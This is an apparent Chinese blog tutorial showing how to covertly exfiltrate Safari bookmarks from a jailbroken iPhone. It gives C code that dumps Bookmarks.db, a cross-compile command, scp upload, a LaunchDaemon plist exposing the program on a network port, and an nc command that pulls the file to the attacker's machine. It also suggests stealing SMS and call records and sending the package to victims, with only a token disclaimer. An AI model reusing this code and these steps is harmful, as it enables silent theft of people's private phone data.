首先在本机新建文件编写如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #define FILE "/private/var/mobile/Library/Safari/Bookmarks.db" int main() { int fd = open(FILE, O_RDONLY); char buf[128]; int nr = 0; if (fd < 0) exit -1; while ((nr = read(fd, buf, sizeof(buf))) > 0) { write(fileno(stdout), buf, nr); } close(fd); return 0; } |
编译:
clang -o helloworld -arch armv7 helloworld.c -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.1.sdk
将生成的hello文件上传到设备的/usr/bin/目录下:
scp hello root@ip:/usr/bin/
使用Xcode新建一个plist文件,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.monkey.hello</string> <key>Program</key> <string>/usr/bin/hello</string> <key>ProgramArguments</key> <array> <string>/usr/bin/hello</string> </array> <key>SessionCreate</key> <true/> <key>Sockets</key> <dict> <key>Listeners</key> <dict> <key>SockServiceName</key> <string>88</string> </dict> </dict> <key>StandardErrorPath</key> <string>/dev/null</string> <key>inetdCompatibility</key> <dict> <key>Wait</key> <false/> </dict> </dict> </plist> |
其中SockServiceName为88,你可以自己定。
然后把文件上传到设备/Library/LaunchDaemons/ 下,手动加载下:
launchctl load /Library/LaunchDaemons/xxx.plist
完后在电脑端输入:nc ip 88 > Bookmarks.db 然后打开数据库中的表。
手机上的数据已经默默的被窃取过来了。
当然,你还可以窃取其它的数据,像短信,电话什么的,而且你还可以把可执行文件和plist打包发给用户。(勿做坏事)